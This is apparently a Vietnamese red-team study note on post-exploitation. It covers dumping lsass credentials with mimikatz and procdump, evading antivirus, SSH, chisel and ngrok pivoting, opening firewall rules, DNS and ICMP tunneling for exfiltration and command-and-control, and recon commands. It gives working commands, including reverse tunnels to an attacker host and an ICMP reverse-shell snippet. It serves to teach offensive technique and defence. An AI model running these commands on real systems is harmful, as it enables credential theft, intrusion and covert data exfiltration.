NT AUTHORITY\BATCH + NT AUTHORITY\Service + NT AUTHORITY\IUSR + NT AUTHORITY\IIS_IUSRS + NT AUTHORITY\Administrator - Sau khi có quyền `SE_DEBUG_NAME`, mimikatz sẽ dùng quyền này để debug memory của tiến trình `lsass.exe`. - `lsass.exe` (Local Security Authority Subsystem Service) là tiến trình đảm nhiệm việc xác thực đăng nhập của user, xử lý các tác vụ đổi mật khẩu và tạo access token (một cơ chế authorization của windows) - Vì xủ lý rất nhiều các tác vụ khác nhau liên quan đến xác thực nên `lsass.exe` lưu các dữ liệu trong lúc chạy (gồm có password, hash, ...) trong memory, chính vì thế việc mimikatz làm đơn giản là tìm ra những nơi những dữ liệu này được lưu trong memory của `lsass.exe` ##### Defense evasion - Vì mimikatz là công cụ vô cùng phổ biến trong các cuộc tấn công APT, nên các signature của mimikatz cũng vô cùng phổ biến trong database của các AV, EDR ![](https://i.imgur.com/leXefY4.png) trích từ threathunterplaybook.com - Gần như các công cụ kiểm thử bảo mật nào được công khai cũng có các signature để có thể nhận biết, vì thế để bypass AV, EDR thì các attacker sẽ có xu hướng sử dụng các variant của các công cụ đó - Một variant của mimikatz đó là [pypykatz](https://github.com/skelsec/pypykatz) - đây là một implementation của mimikatz được 100% made from python - Một variant khác là [MagnusKatz](https://github.com/magnusstubman/MagnusKatz), đây là một chương trình C++ được một anh hacker viết lại nhằm hiểu rõ hơn về C++ cũng như về cách mimikatz hoạt động. Điều thú vị đó là khi đem công cụ này lên virustotal vào thời điểm đó thì chỉ có 1/71 engine detect được ![](https://i.imgur.com/QVVeq11.png) - Điều này chứng minh rằng trong các cuộc tấn công APT được đầu tư thì attacker hoàn toàn có thể modify mimikatz để tạo ra các biến thể nhằm thay đổi các signature mặc định và né tránh việc bị detect bởi các AV/EDR - Một cách dễ hơn đó là attacker có thể tạo một dumpfile từ memory của tiến trình `lsass.exe` sau đó đem về máy mình cho mimikatz debug và tìm ra credentials trong memory dump file đó - Để tạo dumpfile của một process ta có thể mở task manager, chuột phải vào process đó và chọn create dumpfile, lúc này ta sẽ nhận được một file .dmp ![](https://i.imgur.com/SOSUSUh.png) ![](https://i.imgur.com/sTE7NGI.png) - Lấy file này về máy và chạy mimikatz trên máy mình: ``` sekurlsa::minidump C:\Users\ADMINI~1.OFF\AppData\Local\Temp\lsass.DMP sekurlsa::logonpasswords ``` ![](https://i.imgur.com/lmm5vHN.png) - Ngoài ra ta cũng có thể dùng CLI: ``` procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` - Nếu như trên máy victim không có procdump ta có thể mount một volume khác vào máy của victim từ https://live.sysinternals.com bằng lệnh `net use`, trong volume này sẽ có chứa file procdump.exe - Sysinternals là một trang web host các resource dùng để quản lý, chẩn đoán và khắc phục sự cố, trong đó có procdump.exe ``` net use Z: https://live.sysinternals.com procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` ##### In Unix-like https://www.thehacker.recipes/ad/movement/credentials/dumping/passwords-in-memory ##### Occured Incidences - Trong chiến dịch **Operation Cobalt Kitty** được thực hiện bởi một nhóm hacker có biệt danh APT-C-00 (hay còn gọi là OceanLotus) nhằm trích xuất credentials từ các hệ thống bị hack - Năm 2017, cuộc tấn công NotPetya Ransomware đã tích hợp mimikatz nhằm tự động trích xuất dữ liệu nhạy cảm từ memory của các hệ thống bị nhiễm #### Hard-Coded credentials - Các programmer/IT manager đôi khi sẽ sơ xuất để lại các credentials (clear-text/hash) ở đâu đó trong hệ thống - Bằng việc khám phá cây thư mục, các shared file system ta có thể tìm ra nhiều thông tin bị bỏ sót - **Case Study**: Trong vụ việc uber bị hack, attacker đã có được quyền truy cập vào vpn nội bộ của uber, hắn dạo quanh mạng và các host sau đó vô tình tìm được một powershell script có chứa username và password của system administrator #### Man-In-The-Middle Attack (MITM) - Còn có tên gọi là Adversary-In-The-Middle - MITM là kỹ thuật tấn công khi mà attacker cố gắng xen giữa vào communications giữa 2 hay nhiều thiết bị trong mạng - Mục đích của attacker khi sử dụng kỹ thuật này là đọc/can thiệp vào thông tin được truyền qua lại giữa các bên, chuyển hướng DNS nhằm thực hiện phishing hay install các malware khác, ... ![](https://i.imgur.com/Me51iH9.png) [...] ### Tunneling, port forwarding to pivot - Sau khi có initial access vào một machine, attacker sẽ cố gắng giao tiếp với các service của các internal host khác trong network nhằm tấn công sâu hơn vào mạng ![](https://i.imgur.com/koieAsk.png) - Bên cạnh đó attacker cũng sử dụng các tunneling technique nhằm che giấu malicious traffic, bypass qua các rule sets của firewalls trong quá trình extract data, cài đặt reverse shell, ... - Attacker thường sẽ dùng các lateral tool transfer nhằm vận chuyển các công cụ phục vụ pivot lên compromised host. Attacker thường sẽ cố gắng tận dụng các công cụ có sẵn trên victim machine (Living Off The Land) - Trong windows, các non-admin users thường chỉ mở forward được các port từ 1024 trở lên #### Tools/Protocols - SSH, Tunna, Chisel, metasploit, nc, plink, ... #### Local port forwarding - Là kỹ thuật cho phép ta chuyển lưu lượng truy cập ở một port từ máy của attacker đến máy đích - Kỹ thuật này thường dùng SSH (vì SSH thường có sẵn) để tạo một SSH tunnel qua một máy khác, nếu sử dụng SSH thì tất nhiên cả 2 đầu của tunnel đều phải support SSH - Câu lệnh SSH để tạo một SSH tunnel từ một máy đến một máy khác sẽ có dạng như: ```bash ssh -N -L $LOCAL_ADDRESS:$LOCAL_PORT:$REMOTE_ADDRESS:$REMOTE_PORT user@target ``` - Ta sẽ có một ví dụ như sau khi attacker cố gắng tạo một chuỗi local port forwarding qua các máy để cuối cùng đến được service chạy trên port 80 của ip `192.168.0.3`: ![](https://i.imgur.com/GTIC5e3.png) ![](https://i.imgur.com/Evogktj.png) - Lúc này port 1111 trên attacker machine sẽ được tunnel thẳng đến service port 80 của ip `192.168.0.3`, bypass qua các firewall đứng giữa - Cần lưu ý là ta sẽ cần có được ssh credentials của cả host pivot_1 và pivot_2, thêm vào đó là cả 2 host đều phải chạy SSH và SSH service của pivot_1 cũng phải được expose ra ngoài internet ##### Vậy nếu mặc định pivot_1 không expose SSH service ra ngoài internet thì sao? - Nếu máy đó đang facing với internet, ta có thể sử dụng các công cụ quản lý network có sẵn của OS để thiết lập các rule nhằm expose port đang chạy service ra ngoài - Trong linux ta có thể sử dụng công cụ iptables - công cụ quản lý network của linux, có thể xem như một firewall mềm của linux: ``` iptables -I INPUT -p tcp --dport $PORT -j ACCEPT iptables -I OUTPUT -p tcp --sport $PORT -j ACCEPT ``` - Ta cũng có thể sử dụng ufw - công cụ dựa trên iptables, giúp đơn giản hóa việc quản lý network bằng cách câu lệnh đơn giản hơn iptables ``` sudo ufw allow $PORT ``` - Ngrok là công cụ giúp tạo một tunnel giữa máy nguồn và internet, ta có thể thể transfer ngrok đến host victim và chạy câu lệnh: ``` ngrok tcp/http ``` - Sau khi chạy thì ngrok sẽ trả về cho ta một địa chỉ của ngrok, khi connect vào đó thì connection của ta sẽ được tunnel đến host đích. Ngrok tương thích với cả linux và windows - Đối với windows ta sẽ sử dụng các `netsh` (network shell), một chương trình giúp hiển thị và config lại các cài đặt network của windows: ![](https://i.imgur.com/TsELgZM.png) - Ta có thể dùng netsh để cho phép các connection đến một port bất kì, lấy ví dụ của RDP (Remote Desktop Protocol) mặc định chạy ở port 3389: ```cmd netsh advfirewall firewall add rule name="Something" protocol=TCP dir=in localport=3389 action=allow profile=public ``` - Với powershell ta còn có thể dùng cmdlet `New-NetFirewallRule`: ```powershell New-NetFirewallRule -DisplayName 'My port' -Profile 'Private' -Direction Inbound -Action Allow -Protocol TCP -LocalPort 6624 ``` - Để ý trong các lệnh trên ta thấy `dir=in` (netsh) và `-Direction Inbound`, cũng như `-Profile 'Private'`, hãy cùng nhìn vào sơ đồ sau để hiểu rõ hơn: ![](https://i.imgur.com/uf2NkBW.png) - Windows network sẽ có 3 network profile có sẵn: + private + domain + public - Mỗi network profile sẽ có các ruleset đối với inbound (connection từ ngoài vào) và outbound (connection từ trong ra) khác nhau. Lấy ví dụ như profile public sẽ được dùng khi kết nối đến các mạng công cộng, những mạng tiềm tàng rủi ro với các ruleset mặc định sẽ strict hơn nhằm giảm thiểu rủi ro bị tấn công; Ngoài ra ta có profile private, thường được dùng khi kết nối vào các trustworthy network ví dụ như mạng nội bộ với ruleset lỏng lẻo hơn nhằm phục vụ cho các mục đích chia sẽ files, printers, ... - Vậy nên nhìn về phía redteam, khi add rule ta cần chú ý đến việc kết nối ra internet đang sử dụng profile nào. #### Remote port forwarding - Kỹ thuật này giống với local port forwarding nhưng là ngược lại - Câu lệnh SSH lúc này sẽ là: ```bash ssh -N -R $REMOTE_ADDRESS:$REMOTE_PORT:$LOCAL_ADDRESS:$LOCAL_PORT user@target ``` - Ta sẽ lấy ví dụ attacker host `192.168.0.3` connect lại machine của attacker thông qua một reverse shell: ![](https://i.imgur.com/nShIqrk.png) ![](https://i.imgur.com/Jc3hWIs.png) - Lúc này khi attacker thực hiện reverse connect từ host `192.168.0.3` đến port 3333 của host pivot_2 thì connection này sẽ được chuyển tiếp về port 1111 của máy attacker - Remote port forwarding mặc định bị disable trên SSH, để enable ta chỉnh config của file `/etc/ssh/sshd_config` và restart ssh service: ``` GatewayPorts yes ``` - Ngoài ra thì ta có thể dùng chisel: ```bash # Attacker machine chisel server -p $ATTACKER_PORT -reverse # Victime machine .\chisel.exe client $ATTACKER_IP:$ATTACKER_PORT R:$REMOTE_PORT:localhost:$LOCAL_PORT ``` - Câu lệnh sẽ tạo một tunnel từ port $LOCAL_PORT của victim machine đến $REMOTE_PORT của attacker machine - Lúc này khi ta connect đến `$ATTACKER_IP:$REMOTE_PORT` thì connection sẽ được chuyển tiếp đến `IP_VICTIM:$LOCAL_PORT` - Để "hứng" reverse connection này ta có thể dùng SOCAT, ncat, netcat ... #### Dynamic port tunneling - Thay vì chuyển tiếp một port, attacker có thể chuyển tiếp toàn bộ lưu lượng mạng từ máy của anh ta vào mạng nội bộ của mục tiêu thông qua 1 compromised host - Dựa vào SSH là cách dễ nhất, vì nó có sẵn và câu lệnh khá đơn giản, nhưng nó đòi hỏi ta phải có valid SSH credentials và SSH service running trên victim machine ```bash ssh -N -D $PORT $CONTROLLED_TARGET ``` - Ta lấy một ví dụ khi attacker cần pivot vào network của domain controller `192.168.0.3`, để bypass qua firewall attacker sẽ cần pivot thông qua host pivot_1 và pivot_2 (pivot_2 ở cùng network với domain controller) ![](https://i.imgur.com/St37Eyy.png) - Chạy SSH command trên máy attacker và pivot_1 ![](https://i.imgur.com/Q0omVcM.png) - Câu lệnh này sẽ tạo một SOCKS proxy trên port 1337 ở máy ta và port 8080 ở máy pivot1 - Configure proxychains: ![](https://i.imgur.com/ZY1HYoN.png) - Lúc này ta có thể kết nối qua 2 lớp SOCKS proxy là 127.0.0.1:1337 và pivot1:8080 thông qua proxychains, từ đó ta có thể tương tác được với network của domain controller ![](https://i.imgur.com/jjIqWVT.png) - Ngoài ra ta có thể dùng chisel: ```bash

attacker 172.16.1.101 ./chisel server -p 8002 --reverse

victim chisel.exe client 172.16.1.101:8002 R:2080:socks ``` - Cấu hình proxychains: ```config socks5 127.0.0.1 2080 ``` - Chạy nmap bằng proxychains ta sẽ scan được network của victim: ```sh proxychains nmap 10.45.0.0/16 ``` ##### Ở đây SSH (và cả chisel) sẽ dùng SOCKS ( Socket Secure ) để route traffic từ máy client đến network của máy đích. Vậy SOCKS là gì? - SOCKS (Socket Secure) là giao thức được thiết kế để route tất cả traffic của máy client đến network đích - Có 2 phiên bản SOCKS: + **SOCKS4**: không support UDP, Authentication + **SOCKS5**: support UDP và nhiều hình thức authentication - Cách SOCKS hoạt động: ![](https://i.imgur.com/66RuqKi.png) - SOCKS proxy sẽ route tất cả TCP/UDP traffic vào network ở phía bên kia tunnel. Một điều phải lưu ý đó là **SOCKS không hỗ trợ ICMP**, dẫn đến ta sẽ không ping được thông qua ICMP, vì vậy ta cần sử dụng một phương pháp khác đó là **TCP ping** ![](https://i.imgur.com/bExDzfS.png) - Nguyên lý của TCP ping là sẽ tiến hành TCP 3-way handshake đến các TCP port của host sau đó đo đạc thời gian để handshake, nhược điểm là host đích cần phải có một service nào đó đang chạy trên một TCP port và ta cần phải tìm ra được port đó - Tóm lại SOCKS server sẽ thay mặt Client để connect vào bên trong mạng của SOCKS server, lúc này các host bên trong sẽ chỉ biết là SOCKS server đang muốn connect đến chứ không biết mặt mũi của client ra sao - Có điều đặc biệt là ta sẽ không thể gửi - **Vậy mục đích của việc lợi dụng SSH, chisel, ... là để tạo ra một SOCKS connection đến host victim và lợi dụng host đó để giao tiếp với các hosts khác trong internal network** ##### Chisel hoạt động như thế nào? ![](https://i.imgur.com/59Edgm5.png) #### Reverse dynamic port tunneling - Ngược lại với dynamic port tunneling, đây là cách chuyển tiếp lưu lượng mạng ở máy victim đến máy attacker - SSH: ```bash ssh -N -R $PORT $CONTROLLED_TARGET ``` - Lúc này ta sẽ configure proxychains như sau: ```config socks4 127.0.0.1 $PORT ``` - Lúc này bằng proxychains, ta sẽ tìm thấy target host trong network của ta #### Occured Incidences - Năm 2014, nhóm APT tên **SandWorm**(một đơn vị quân sự mạng của Nga) đã sử dụng SSH để transfer dữ liệu nhạy cảm (`scp`) và pivot vào các mạng nội bộ - **BlackEnergy** trojan cũng tích hợp một SSH backdoor để duy trì kiểm soát và trích xuất thông tin - Bên cạnh đó SSH cũng là thứ đầu tiên các threat actors nghĩ tới như một bàn đạp vào các mạng network bởi tính sẵn có của nó #### Other tunneling techniques ##### Meterpreter - Sau khi có initial access, ta dùng autoroute để route traffic đến dãy 10.129.223.0/24: ![](https://i.imgur.com/EO93TCj.png) - Ta thử chạy ping sweep để scan các hosts online trong mạng ![](https://i.imgur.com/DtDCgmj.png) - Trong phương pháp trên ta tiếp xúc với 2 module mới của metasploit đó là autoroute và pingsweep, hãy cùng đi vào chi tiết xem 2 module này hoạt động như thế nào ###### autoroute - Khác với SOCKS, autoroute sẽ biến máy đã bị compromise thành một gateway thông qua việc chỉnh sửa bảng định tuyến (routing table) trên host đó - Nói sơ qua về routing table thì đây là cái mà máy nào cũng, nhưng ở các gateway thì routing table chứa các "con đường" để đi đến các node mạng khác nhau - Lấy trường hợp ở dưới khi PC1 đang muốn gửi packet tới PC3, nhưng PC3 lại không cùng network, lúc này PC1 phải gửi packet đến cho Router A (đóng vai trò làm gateway đứng giữa kết nối network của PC1 và PC3 cùng nhiều network khác nữa) để Router A tìm "con đường" để đi đến PC3 (có IP 101.25.67.7). - Lúc này Router A sẽ nhìn vào routing table của mình và tìm thấy có một entry nói là dãy IP với netmask 255.255.255.0 (là dãy của PC3) thì nằm ở interface eth3. Lúc này thì Router A đã biết là PC3 nằm ở interface eth3 rồi nên nó chỉ cần forward packet đến network nối với interface này là xong ![](https://i.imgur.com/dmWuRZf.png) - Lợi dụng điều này thì metasploit sẽ chỉnh sửa bảng định tuyến của compromised host nhằm biến nó thành một gateway connect 2 network (attacker's network và internal network), từ đó forward được traffic từ máy attacker đến internal network - Lưu ý các network mà victim connect tới thì có thể nó bao gồm internet nữa, nên ta cũng có thể dùng host victim như một proxy để lướt web:) ###### pingsweep - Ping Sweep là tên của một kỹ thuật được hacker sử dụng để quét một dãy địa chỉ IP nhằm xác định các live host trong mạng đó. - Nguyên lý hoạt động của kỹ thuật này là gửi các gói ICMP echo request đến một dãy IP và chờ đợi ICMP echo reply từ các IP đó, IP nào gửi lại gói ICMP thì đó chính là host có tồn tại - Ping Sweep cũng sẽ là bước đầu tiên trên nmap nếu ta cho nó quét một dãy IP, đầu tiên nó sẽ luông dùng ping scan để xác định host đó có up hay không, nếu không thì nó sẽ skip. Ta có thể ra lệnh cho nmap skip qua bước ping scan này và vào thẳng quá trình scan chính bằng option `-Pn` - Có nhiều trường hợp các host trong mạng sẽ chặn các gói ICMP, dẫn đến nmap khi không thấy các host này phản hồi thì nó sẽ dừng scan, do đó đôi khi ta sẽ cần đến option `-Pn` của nmap. - Chính vì hiện nay nhiều mạng sẽ chặn các gói ICMP, ta có thể sử dụng các kỹ thuật khác nhằm discover các host trong mạng ví dụ như ARP scanning (một kỹ thuật dựa trên cách hoạt động của ARP), TCP ping (dựa trên TCP SYN, ... ##### DNS Tunneling [PHẦN NÀY PHẢI DỰNG CÁI DOMAIN ĐỂ TEST] - DNS cũng có thể bị lợi dụng để tạo tunnel nhằm exfiltrate các sensitive data. Vì lưu lượng DNS thường luôn được cho phép lưu chuyển qua lại firewall do đó attacker có thể lợi dụng điều này để tải về các tập tin, leak về các mẩu thông tin giá trị. - Để thực hiện điều này đầu tiên attacker sẽ đăng ký một domain và trỏ nó về server của attacker --- nơi có cài đặt tunneling program ( ở đây chúng ta sẽ sử dụng [dnsexfiltrator](https://github.com/Arno0x/DNSExfiltrator)). Sau đó attacker sẽ transfer tunneling client đến host cần leak data và dùng client đó để gửi data về server của attacker dưới dạng mã hóa ![](https://i.imgur.com/KnOyRXG.png) - Nhìn vào đoạn code của dnsexfiltrator client ta thấy được cách mà data được leak ra: ![](https://i.imgur.com/32osBPC.png) - Đó chính là thông qua subdomain của domain name, khi DNS server resolve từ domain về server của attacker thì thông tin trên domain name lúc này sẽ chứa cả data được gửi đi từ tunneling client -> attacker leak được thông tin - Data cũng sẽ được phân nhỏ ra và truyền nhiều lần rồi sau đó mới ghép lại ở đầu bên kia để tránh bị detect bởi các rule về size - Ngoài ra DNS tunneling cũng có thể được dùng để thiết lập kênh liên lạc giữa C&C server đến các compromised hosts - Một ví dụ cho điều này là Chashell, công cụ hoạt động dựa vào nguyên lý DNS query và answer bằng các TXT Type question ![](https://i.imgur.com/zET7zyu.png) - Chashell sẽ gửi các TXT query nhằm kiểm tra command queue ở C&C, nếu có command thì C&C sẽ response về một gói answer để chashell biết command gửi về được chia thành bao nhiêu chunk, sau đó client sẽ lần lượt gửi các TXT query để nhận hết các chunks về, sau đó thực thi và cũng vẫn chia kết quả thành các chunk và gửi về trong các gói TXT query ###### Occured Incidences - DNS tunneling đã được sử dụng bởi các nhóm APT **Pawn Storm** (một tên gọi khác của Fancy Bear) để trích xuất dữ liệu nhạy cảm từ các tổ chức bị tấn công năm 2016 - Năm 2018, DNS tunneling cũng được sử dụng bởi **Fancy Bear** để thiết lập kênh giao tiếp giữa các compromised hosts với C&C server - Năm 2019, **BeagleBoyz** đã sử dụng DNS tunneling để trích xuất dữ liệu nhạy cảm từ các hệ thống Point-of-Sale ##### ICMP Tunneling - Brief qua về cách hoạt động của ICMP: + ICMP packet stucture: ![](https://i.imgur.com/fEEUARg.png) + ICMP message types: ![](https://i.imgur.com/QqZx0Mb.png) + ICMP thường được dùng trong chẩn đoán mạng, bởi các công cụ như ping, traceroute, ... - Đây là kỹ thuật lợi dụng giao thức ICMP để giao tiếp với C&C server - Mục đích có thể là để truyền tải thông tin đánh cắp được về C&C hoặc là gửi các câu lệnh shell đến một agent ở phía victim nhằm thực thi các tác vụ và lấy về kết quả câu lệnh thông qua ICMP - Attacker hay lợi dụng ICMP để tạo tunnel vì một số firewall không có rule set dành cho ICMP. Để đối phó với các firewall có áp dụng các rules dành cho ICMP, cũng như các phần mềm audit traffic, các advisory thường sẽ thêm chức năng mã hóa các thông tin (command, command's result, leak data, ...) truyền nhận trong ICMP tunnel, cũng như chia nhỏ data và gửi nhiều lần để tránh các rule set về packet size - Để demo một reverse shell sử dụng ICMP tunnel, ta sẽ dùng [ICMPdoor](https://github.com/krabelize/icmpdoor/) - Cách hoạt động của ICMPdoor rấy đơn giản, sử dụng các gói ICMP với type 0 và type 8 để giao tiếp với nhau ```python=

icmp-cnc.py icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=0, id=ICMP_ID)/Raw(load=payload)) sr(icmppacket, timeout=0, verbose=0) ``` ```python=

icmpdoor.py icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=0, id=ICMP_ID)/Raw(load=payload)) sr(icmppacket, timeout=0, verbose=0) ```` - Vì được tạo ra với mục đích demonstrate cách hoạt động của ICMP tunneling nên công cụ này còn nhiều khuyết điểm đối với những công cụ được dùng trong các cuộc tấn công APT như: + Chưa mã hóa communication traffic, vẫn còn ở dạng raw text + Chưa chia nhỏ command/output, dễ bị detect với packet size lớn ##### Occured Incidences - Trong một chiến dịch gián điệp tên "**Nitro**", các kẻ tấn công đã sử dụng một đường hầm ICMP để thiết lập một kênh giao tiếp giữa client và C&C server nhằm kiểm soát từ xa - Năm 2014, nhóm hacker APT28 (nhóm Fancy Bear của Nga) đã được báo cáo sử dụng kỹ thuật ICMP tunneling để âm thầm trích xuất các dữ liệu nhạy cảm mà không bị phát hiện #### VPN tunneling - Trong các tổ chức, nhiều VPN có thể được dựng nên để cung cấp quyền truy cập vào các phần mạng khác nhau cho nhân viên, người điều hành - Nhưng sự tiện lợi lại không đi đôi với bảo mật, nếu tìm ra cách truy cập vào vpn này ( có thể thông qua lỗ hổng bảo mật, thông qua valid credentials hoặc social engineering) attacker có thể truy cập được vào phần mạng nội bộ của VPN đó và tiến hành tấn công sâu hơn - Trong vụ của Uber thì attacker đã dùng kỹ thuật Social Engineering để có được quyền truy cập vào VPN nội bộ của Uber #### HTTP tunneling - Là một kỹ thuật tunneling được sử dụng khi máy đích nằm phía sau một firewall và firewall này chỉ cho phép các kết nối HTTP - Attacker lúc này nếu muốn connect vào một service đang chạy trên port bất kì trên máy victim hoặc một host nào đó cùng mạng (SSH, RDP chẳng hạn) thì sẽ bị ruleset ở firewall chặn lại và connection sẽ không được thiết lập - Vì vậy nên nếu attacker có thể tải lên compromised host một HTTP client thì attacker có thể thông qua HTTP client này để gửi dữ liệu đến đến port đang chạy service mà attacker cần tương tác - Để hiểu rõ hơn đã có thể xem diagram sau: ![](https://i.imgur.com/GJAvZyV.png) - HTTP client sẽ nhận HTTP request từ attacker, payload của HTTP request đó lúc này sẽ chính là data mà attacker muốn gửi tới service bên trong mạng nội bộ (nếu là SSH thì payload này sẽ là toàn bộ nội dung của một SSH packet), HTTP client ở compromise host lúc này sẽ lấy toàn bộ payload đó và forward đến service (trong hình trên là SSH). - Nếu service gửi lại packet thì HTTP client sẽ đóng gói data trong packet này và gửi vào trong phần payload (body) của HTTP response và trả về cho attacker - Cứ như thế một HTTP tunnel sẽ được thiết lập và attacker sẽ giao tiếp với service kia như bình thường (thông qua HTTP client) - **Case**: ngày xưa HTTP tunneling thường hay được mình sử dụng để truy cập vào service RDP của các máy windows khi đã có valid credentials nhằm chiếm luôn con VPS dìa sài :))) #### Many more - Ngoài ra còn nhiều các kỹ thuật tunneling khác như RPC tunneling, SMB tunneling, ... #### Protecting C2 Traffic - Bên cạnh việc bảo vệ traffic giữa C2 và agents bằng SSL/TLS để encrypt payload thì ta có thể kết hợp với các tunneling techniques nhằm bypass qua các ruleset của firewall - Ví dụ như host đích nằm ở phía sau một firewall, firewall này chặn các traffic HTTP thì ta có thể sử dụng SSH để tạo một tunnel giữa C2 (hoặc redirectors) với agents và truyền dữ liệu qua tunnel này ![](https://i.imgur.com/9qbRksX.png) #### Conclude the tunneling, port forwarding section - Vậy tóm lại kỹ thuật tunneling chính là việc ta bọc kết nối của một giao thức bằng kết nối của một giao thức khác - Giống như cách mà các host giao tiếp HTTP vậy, bản chất của việc các host giao tiếp HTTP với nhau là các host đó đang bọc các gói HTTP bằng một kết nối TCP - Khi các firewall nhìn vào các tunneling connection này thì nó sẽ chỉ nhìn thấy giao thức được sử dụng để tunnel, từ đó giúp ta bypass qua các ruleset #### Practice lab HTB - Granny machine ### Surface scanning - Internal reconnaissance - Sau khi có được initial access, attacker thường sẽ muốn tấn công sâu hơn vào mạng thông qua việc lợi dụng các feature, vulnerabilities tồn tại trong hệ thống để có thể leo thang đặc quyền/tấn công lây lan qua các hosts và networks lân cận nhằm truy cập được vào các thông tin giá trị hơn - Surface scanning chính là kỹ thuật nhằm do thám các thông tin về bản thân host đó và toàn bộ mạng - Các thông tin mà attacker thường chú ý thu thập có thể kể đến như các services đang chạy, các program đã được installed của các hosts trong network, các networks mà host đó kết nối tới. Từ đó attacker có thể phát hiện ra các lỗ hổng, sai sót trong hệ điều hành, phần mềm, dịch vụ, cấu hình mạng, ... nhằm tấn công sâu hơn vào bên trong hệ thống #### Testing current host ##### Operating System - Thông qua việc biết được hệ điều hành cũng như phiên bản hiện tại của hệ điều hành đó, attacker có thể khai thác các lỗ hổng đã được biết đến (cũng như zero-day) nhằm thực hiện các hành vi độc hại như leo thang đặc quyền, làm tê liệt hệ thống (shutdown), ... - Tên hệ điều hành cũng là một trong những thông tin mà attacker thu thập được trong quá trình recon từ ngoài intranet. - Attacker có thể thu thập được các thông tin này bằng cách suy đoán dựa trên các thông tin trong một gói packet được trả về từ host đó (các packet được gửi bởi các OS khác nhau sẽ có các dấu hiệu khác nhau). Một trong những công cụ tự động hóa kỹ thuật này đó là nmap - Một số hệ thống có thể modify packet trả về client nhằm giảm thiểu khả năng bị các công cụ như nmap phân tích và xác định thông tin về hệ điều hành - Đối với việc kiểm tra thông tin hệ điều hành sau khi đã vào được bên trong thì quá đơn giản, việc đơn giản này lại rất quan trọng đối với attacker - Với cương vị là quản trị hệ thống, ta sẽ cần cập nhật các bản vá của hệ điều hành thường xuyên nhằm tránh tạo cơ hội cho attacker ##### Check for other users and groups - Thông tin liên quan đến các users và groups trong một hệ thống cũng là một trong những thông tin vô cùng hữu ích đối với attacker - Dựa trên các thông tin này, attacker có thể thực hiện nhiều kỹ thuật tấn công khác như privilege escalation, password attack, remote session hijacking ###### Windows - Một số câu lệnh có thể được sử dụng để tìm kiếm thông tin về các users và groups bằng cmd: ``` whoami => xem user hiện tại net user => xem tất cả user tồn tại trên hệ thống net group => xem tất cả các groups tồn tại trên hệ thống wmic useraccount list full => xem toàn bộ thông tin của tất cả các user trên hệ thống ``` - `net` là một câu lệnh CLI cho phép thực hiện các tác vụ lên các groups, users, các policies đối với các users (ví dụ như quy định password tối thiểu dài bao nhiêu, thời gian bị lock khi login sai quá nhiều), ... - **wmic** là một tiện ích của windows, cung cấp giao diện dòng lệnh hỗ trợ các người quản trị hệ thống giúp người quản trị lấy được các thông tin về phần cứng, phần mềm, config, các app đã cài cũng như thực hiện vô vàn tác vụ khác trên một hệ thống (local hoặc remote) thông qua WMI (một công nghệ của windows cho phép các admin, dev truy cập và điều khiển tài nguyên trên một máy tính). - Ngoài việc được sử dụng bởi các IT administrator, công cụ này còn được lợi dụng bởi các attacker để truy cập bất hợp pháp vào các hệ thống và thực thi các câu lệnh từ xa. **wmic** mặc định được enable trên windows và các hacker thì sẽ rất thích những thứ có sẵn do nó sẽ giúp attacker bớt tốn công sức cũng như ít bị phát hiện hơn ``` wmic /node: process call create "cmd.exe /c echo Hello World" ``` - Để có thể sử dụng WMIC (hoặc các công cụ khác) để kết nối đến WMI của một máy từ xa, thì máy đó sẽ cần chạy WMI service (mặc định windows có chạy) và được cấu hình (firewall) để chấp nhận các kết nối tới. - Ngoài ra, remote machine cũng cần expose RPC (có thể hiểu nôm na RPC là một dependency của WMI nhằm cung cấp chức năng kết nối và quản lý từ xa) ở port 135 và cấu hình để chấp nhận các kết nối tới. - Nhiều biện pháp bảo mật đã được sử dụng để ngăn chặn attacker thực hiện các kết nối WMI bất hợp pháp: + Cấu hình các firewall (cứng hoặc mềm) để chỉ cho phép các kết nối WMI từ các nguồn đáng tin cậy + Sử dụng authentication + Giám sát các kết nối WMI trong network + ... - Như đã học ở phần tunneling, attacker có thể dùng các kỹ thuật tạo network tunnel nhằm bypass qua các firewall ở giữa và thiết lập kết nối WMI đến remote host phía sau firewalls ###### Linux - Thông tin về các users, groups sẽ được lưu đầy đủ nhất trong 2 file lần lượt là `/etc/passwd` và `/etc/group`. Bằng cách đọc nội dung của 2 file này ta có thể tìm ra tất cả thông tin của users và groups trên hệ thống (có thể dùng cat, more, ...) ```bash cat /etc/passwd cat /etc/group ``` - Ta cũng có thể dùng câu lệnh `getent` (giúp lấy các entry từ các administrative databases trong hệ thống, các database này là các file text lưu ở `/etc`) để lấy nội dung từ 2 file `/etc/passwd` và `/etc/group` ``` getent passwd getent group ``` - Ta có thể sử dụng câu lệnh `id ` hoặc `groups ` để xem thông tin về các groups của một user (user đó thuộc các groups nào): ``` ┌─[✗]─[shin24@shin24-Legion-5-15ACH6H]─[~] └──╼ $id shin24 uid=1000(shin24) gid=1000(shin24) groups=1000(shin24),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),132(lxd),133(sambashare),136(docker) ``` - Ngoài ra, bằng cách sử dụng câu lệnh `ls -l`, ta sẽ xem được owner của các files, cũng như group của user đó. Đây có thể xem là một hạ sách nếu server giới hạn quá nhiều câu lệnh - Bằng Cách sử dụng lệnh `w`, ta có thể xem được các users đã logged in trên server (nói cách khác là các active sessions hiện tại). ##### netstat for running services - **netstat** là công cụ dùng để hiển thị trạng thái của network, cho user xem được các service nào đang chạy trên các port nào, các địa chỉ nào đang (được) kết nối tới, ... - Công cụ này thường được sử dụng bởi IT administrator để chẩn đoán và giám sát mạng - Lợi dụng công cụ này, attacker có thể xem các service nào đang được chạy, từ đó tìm kiếm và khai thác các lỗ hổng có sẵn trong các service này để đạt được nhiều mục đích như leo thang đặc quyền, truy cập bất hợp pháp từ xa, ... - Ngoài ra attacker cũng có thể biết được các địa chỉ nào đang thiết lập kết nối với host hiện tại, biết được sự hiện diện của các host này attacker có thể thực hiện tấn công lây lan sang các host đó ``` ┌─[shin24@shin24-Legion-5-15ACH6H]─[~] └──╼ $netstat -t Active Internet connections (w/o servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 shin24-Legion-5-1:55786 static.cmcti.vn:https TIME_WAIT tcp 0 0 shin24-Legion-5-1:59752 a865a9e11bs2c0d65:https ESTABLISHED tcp 0 0 